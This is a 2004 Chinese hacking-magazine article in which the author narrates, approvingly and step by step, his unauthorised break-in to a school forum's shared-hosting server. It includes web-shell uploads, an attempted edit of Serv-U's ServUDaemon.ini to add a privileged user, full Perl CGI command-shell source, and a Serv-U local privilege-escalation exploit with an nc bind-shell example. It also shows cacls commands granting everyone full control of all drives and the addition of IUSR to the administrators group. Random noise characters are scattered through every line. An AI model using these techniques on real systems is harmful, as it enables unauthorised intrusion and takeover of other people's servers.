剑走偏锋——灵巧的旁注攻击 . m6 _% }1 G6 \
本文作者:angel
* s, Z/ o1 t2 G& P6 P文章性质:原创
8 ^/ j( T4 Y$ g% R' W% Q发布日期:2004-11-09 : |, @% e9 n$ F- I
注意:, C% x" _; Z) N6 n. c( d
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
$ Y% x/ A' R/ U& K2 H9 ^, V8 D本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
( }( a, \/ [. A
% J* x- Z9 d. @ 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 6 k" k/ ?8 D0 E4 {" j
, _- {# u: V' B1 w; o 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 ) B) Q( U" T) B3 [) q( U
: H' E; N! |# {
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 1 f! c6 O6 l0 ^) k: Q2 U7 |! \
4 C/ |/ U' R2 \" w _
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
4 J' W, a+ c* Z N
3 @3 P4 n0 b% D3 ^0 A 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 2 K% b4 Q% C% L
. ]; K+ h+ c$ G9 [1 c7 v2 ^5 u
没有目的的跳转目录着……
, E# k* Z3 u5 l" I/ v1 ^0 x9 w: g8 k/ X
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
2 {. O/ D8 {5 J
' R2 S- J/ _, C4 o 结束了吗?不,我试着 FTP 一下:
( l/ ]) B9 P4 X- S2 X' g4 Q! l" L3 r0 U
Microsoft Windows 2000 [Version 5.00.2195]& d/ f$ n0 B- J9 J& d. f( y
(C) 版权所有 1985-2000 Microsoft Corp.
! m; B5 H1 v' |# M$ h$ Z" k1 l3 q; x1 x' D6 f/ R
C:\Documents and Settings\Administrator>ftp www.school.com1 H5 g; e7 h6 m, R4 \# O1 A2 ]
Connected to www. school.com.
( f, w# M7 y) [220 Welcome to FTP Server...
6 j+ }4 ^9 L$ j7 WUser (www.bjtrq.com:(none)):
- v Q6 S0 r9 e; n9 s2 m331 User name okay, need password.
0 S- S; v2 X3 D. g: [; M CPassword:
* k1 q, p& }' P0 \530 Not logged in.
2 A) g0 J, y) [8 O$ ?! i7 ELogin failed.
) K) ~8 E3 F) U; C5 l& sftp> bye / R" Y# [! L9 q+ [& L+ F% ~, r) [
221 Goodbye! " t$ t4 `9 N. |
# i7 ^- J) D- m5 k5 F! C$ }) r
* M3 S$ ]1 k- {3 _
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
9 I2 T2 R% V! v' _ `8 c; Y+ U* W; w* S: P
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 8 H; J x( P, t2 u1 y& Z, U: l
, G( o& Z' ~1 H# e Z3 A9 X9 yApplication Data
^ j8 q) W$ ~ J' k2 V& xDocuments
9 W* `& u% j' fDRM
) q8 ?* h& G* J0 W kFavorites1 j4 d+ y/ j9 l9 w
Templates
) x1 O) x' g+ v1 K. S「开始」菜单! |: [- r' w' t3 h1 P
桌面+ i; R! v* a, y& E H7 z6 G9 ^
5 j* N- H: K! r6 `8 _7 A) `
* z7 F, o1 ^7 X 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, ) ]/ f" i' O, ^0 p; [/ q) `( ~7 ^* M3 t
2 E' Q7 Q# P" j: o$ qActiveState ActivePerl 5.8
* ?, h1 v, P7 U) jAdministrative Tools4 O" |: f3 l+ A& i3 q* U( d
Deerfield.com
3 C. P6 `6 D7 O# N5 |! CDTemp
8 |; {; I8 |2 AIPSentry
( R3 n( x1 K* V5 H, i; ~MBM 5! S2 Y6 {: c9 N4 D7 T8 o
NetMeter' t5 q/ z6 d# T }8 Q. n. K
Network ICE
0 t8 c; z) `. A, [& m( {% WPersits Software AspEmail
( I5 P _2 _) \+ Y* ZPersits Software AspJpeg
: M0 G7 J+ ]2 E. }Serv-U FTP Server1 y: t7 D3 ~) s" H% g. _; {
Symantec Client Security
: ]$ l% I4 x; `6 j- K* TWindows 优化大师) {6 ~7 q3 ?" Q8 n8 o0 r" j! o) `
WinRAR' N0 K/ U% n0 [3 ?2 Q+ j+ q- i
启动
2 @, F) a+ w" m$ z管理工具/ M2 o% Z" E \# [# `
附件
/ i0 e+ n) G2 R3 g: X; A 1 F0 O2 l# g* H7 {& j8 z# [5 i
! p) a2 ?2 o3 W2 T2 l
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
* P. g2 e. T9 J0 u
: R8 c) e9 L; G 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: : o; h: l7 k, E
, Z& a0 }# G" B$ `8 x' x
User281=angel|1|0
2 b' U2 t8 N0 g; y7 ^) {
+ I( K" z7 U' I$ g0 [# p u# ]: m* u4 E0 J
然后加上
) A. g) T1 k w9 m7 E1 L! |* m r, c6 J( D& _
[USER=angel|1]
7 \, a0 V/ x7 L& T1 ^8 EPassword=ng98F85379EA68DBF97BAADCA99B69B8053 B* Z2 u" b5 v
HomeDir=D:\websites
; T6 B) R! j1 K0 {0 O- t& G4 d. @# |% vRelPaths=1/ T6 a+ W5 Q# R) [% P; H2 w$ `; O
TimeOut=600: n s4 H4 k* ~( ~
Maintenance=System; I `* W/ c# S- V
Access1=D:\websites|RWAMELCDP6 t6 l% j. A& w9 J
SKEYValues=" V) \6 f4 M4 Y
; }2 m2 ]$ A7 z: x) f
' v8 \. H2 `' I" o' @- M( Q# ^
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
/ T# p- ^ ^6 f: |4 |* D* Q" g+ s. ~" y* z- ?7 F
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
3 Q) j, p1 V! K! d2 Q- V; M& I5 i* e) J& I- t4 c; s
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 0 y& e$ M' |* O
* Q: I- [/ f/ \8 ?) T3 r6 w. x1 y) x
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
2 w0 G( `; ]2 z! x0 M2 J2 @! |
5 x9 C% }5 R. R#!/usr/bin/perl/ `" t, i2 a w( q
binmode(STDOUT);/ K' t; p, s+ \
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
' ?. R7 e3 N# n0 d$_ = $ENV{QUERY_STRING};
^2 t+ D0 k6 l5 S. }8 a- Bs/%20/ /ig;; o# ]( U! V' Q2 i* W
s/%2f/\//ig;+ S4 H5 t0 m) k; V) H
$execthis = $_;
9 ~+ g% ]$ J7 b( k# O5 Ysyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
+ }5 B3 w4 a$ y! I7 A0 c7 `open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
! e% h# F' ]; c; G' q! Bsystem($execthis);
) q. q% a/ P1 M( o7 ^# m. wsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);9 Y$ Q5 A4 m( N# \
close(STDERR);: \& w- s. I) X4 ?* j
close(STDOUT);
% n/ j! r" r& w" P4 T3 E2 Qexit;
$ d2 }& s# g$ x9 w& O& G
3 @8 Q; C9 |/ V) s4 X
/ E9 O) Y" z2 H 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 6 N3 j. c' w9 D; a
( F/ n6 H# N9 ~- R 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: ; M( q& V+ K: l& J
# K2 x* b) _2 U( M% u phttp://anyhost//cmd.pl?d:\user\bin\su.exe 1 r, j6 b/ e1 t8 L8 a0 f7 ~# ^
/ ]2 c3 d* N7 z, A/ C; U
0 B1 @8 q8 J! T0 I5 I! v% B9 j5 E 返回:
0 b5 N5 W# W2 @, B1 d" j7 O: r
! g7 S: k. V9 w1 e0 X \Serv-u >3.x Local Exploit by xiaolu
0 r+ \8 W& \3 v9 {
/ Z8 a0 E. ~9 J3 RUSAGE: serv-u.exe "command" / w! i1 p3 ^6 q: E* l7 q
9 X# r( I: I' @2 F3 M8 SExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" , y9 y3 }3 L2 C% L+ {: f
; L3 |, M" W% }
; f! C. o7 H& a; |" T, t6 a9 g8 N( V
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ) m9 F# D8 L0 K- Y+ [" }- A
, U4 K5 J8 W7 ], L
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
% ]9 Q3 I4 T6 I/ x! ?5 \0 t- E# I6 c0 D: ]% g
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" I& e [* _% D: G- V
) T; Y3 n) K0 f5 s' w
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
5 F/ @& p: [. y7 o$ p% Z% Y% l1 e& F% B
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" + p# U* w" r6 t$ j5 k& G
, _1 i4 \& b& p8 q& ^* Z! I4 o
. v P" K) z* H1 P
返回下面的信息,就表示成功了!!! , D- a$ P! g8 n- x7 @/ t
! d2 q4 U& k2 ^! f& P1 YServ-u >3.x Local Exploit by xiaolu 2 b( H+ W! e, V9 F( O
# v& S& s0 C/ x, g<220 Serv-U FTP Server v5.2 for WinSock ready...
9 T. s% L# j h; T( g7 D# Z* m5 y/ A* p m# W
>USER LocalAdministrator + y. f6 D' F) h' J/ ^! Y$ y) J7 i
; W; D4 Q* x; N- f0 d3 v2 S<331 User name okay, need password.
, F& a# r3 N f. {0 y. w% j* s3 w0 X* X/ y' }$ N5 L( N( q
******************************************************
$ Z2 S5 Y* g" E! Y+ B& P+ B% O3 Y5 G! P! I6 u
>PASS #l@$ak#.lk;0@P
8 W" N, \/ Y. T0 L
1 @% X8 V) ?9 b( Y& [<230 User logged in, proceed.
$ @! j/ x8 G ]0 o" o$ V) \* A; d) V5 F _' H( v' q+ T$ [% i
****************************************************** * T- E8 J1 C" u2 Y/ @* ]+ F
( R5 L1 o8 U; `5 b7 Q7 d; j* ?) t
>SITE MAINTENANCE 9 w- D) j! }$ g
z, s; T. D5 G. T% y
******************************************************
' y; z3 }0 d( n( }* r& U u7 [, o% T' y1 B" W& X
[+] Creating New Domain... " Q. y- V3 A ?+ M6 y j
9 O. W# E8 a; T
<200-DomainID=2
+ ]; i3 L$ T# [6 I& _2 Y- \4 U
$ ~9 m+ }: ]; i& l$ F1 ]<220 Domain settings saved r$ E5 F, a' V- ~4 k
. ]; O$ [/ q- @; i****************************************************** & y, l% k% D0 y# A* A2 i
0 u& y- Q, R4 |" B$ @+ l( z[+] Domain xl:2 Created 9 _0 e$ y3 |( o/ Y1 E
7 V% ?. @# @# W7 ?4 v7 G[+] Creating Evil User
! l' s* l7 Z' B8 M' B$ l- u+ f3 B3 H" ?. N% j1 d3 ]5 l
<200-User=xl 1 A/ @( ^2 m# J2 }
" V2 ` j! f# y: R, _
200 User settings saved # n ~2 |& @0 g: s5 S7 \3 _
; n) J: F! C7 h3 U+ E/ l******************************************************
/ ]3 d* L/ L6 x |
. D* a; s) e+ c* [5 x[+] Now Exploiting...
" L- u" Y) C9 a/ y& e) J! M- f% T' l$ \3 V
>USER xl
3 h6 B. A/ R2 @" M& x! o/ E( M4 L# J# E$ n
<331 User name okay, need password. $ N1 Z( ~, |* M0 _1 l, i& J0 E
- L9 H" X) M( m$ u. H****************************************************** + |" t9 |' R6 n2 F% E
( Z) q0 N( H% @3 V8 j S
>PASS 111111 ' j4 @+ n( D" R. z. Y: N3 W
! V/ U8 e- i4 @$ f" A0 j<230 User logged in, proceed.
" m# |/ w4 L3 c. J6 R% a/ e' a$ @* n5 u7 ~/ |2 V
******************************************************
. V& f0 R4 T' A/ Y/ A8 T) D7 w' a8 z g
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
5 L9 s: b5 `$ L
3 v# s5 d) p6 R1 J% j<220 Domain deleted
( ~! z( ~( z6 Z) X1 b, ~$ C3 M8 Y# X& a! x; Q
****************************************************** $ s6 m2 P8 D0 e$ E
$ B7 e) [/ O- I* k! Y: |
6 l. u, s" y5 K# h- {0 ^& E; s 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 3 t. C3 i! o& Q) t
7 F' U) Y- @0 [2 W/ S, z' i p4 J
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 1 s* T! d: ?& W$ [- c5 T. M
. k! X; ^/ d, q. O2 y# `6 m
' {4 v" A& B1 z& F1 w2 m4 F 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
5 S. Y8 R3 f, u1 M4 R r% o/ n/ L& B9 h+ K3 a0 o
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。& ~" z& p+ _# P* o! x. ^# W
; ?# G8 p- k4 n/ u6 K( [4 w/ _ & l. T1 `' ?, I# X
|